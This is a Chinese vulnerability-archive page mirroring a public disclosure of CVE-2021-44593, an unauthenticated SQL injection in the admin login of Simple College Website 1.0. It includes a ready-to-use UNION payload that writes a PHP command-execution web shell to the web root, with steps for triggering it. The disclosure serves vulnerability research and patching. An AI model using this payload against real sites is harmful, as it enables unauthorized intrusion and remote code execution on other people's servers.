目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1336

100%

CVE-2021-44593 PoC — Sourcecodester Simple College Website SQL注入漏洞

来源
关联漏洞
标题: Sourcecodester Simple College Website SQL注入漏洞 (CVE-2021-44593)
Description:Sourcecodester Simple College Website是 (Sourcecodester)开源的一个应用程序。一个内容管理系统。 Sourcecodester Simple College Website 存在安全漏洞,该漏洞允许攻击者通过在admin login.php的用户名参数进行基于union的SQL注入。
Description
Public disclosure & writeup of CVE-2021-44593.
介绍
# CVE-2021-44593
Public disclosure of CVE-2021-44593. A SQL injection/arbitrary file upload/remote code execution vulnerability in Simple College Website.

## DESCRIPTION

Simple College Website 1.0 is vulnerable to an unauthenticated union-based SQL injection in the "username" parameter of the /admin/login.php page, which can then be leveraged to upload arbitrary files & gain remote code execution.

## COMPONENTS AFFECTED

The function ```login()``` in ```admin_class.php```

## STEPS TO REPRODUCE

1. Access the admin login page (usually /admin/login.php) 
2. Submit the login form with the POST parameter "username" containing the following UNION-based SQL injection: 
```
' union select null, null, ("<?php system($_GET['cmd']);?>"), null, null INTO OUTFILE '/var/www/html/testing.php'; -- -
```
6. Navigate to /testing.php?cmd=id

## NOTES

1. Knowledge of the web server root directory location is needed.
2. Knowledge of the document root directory location may also be needed if it is not the same as the web server root directory.
3. Further, the MySQL daemon needs to have write permissions for said directory.

文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →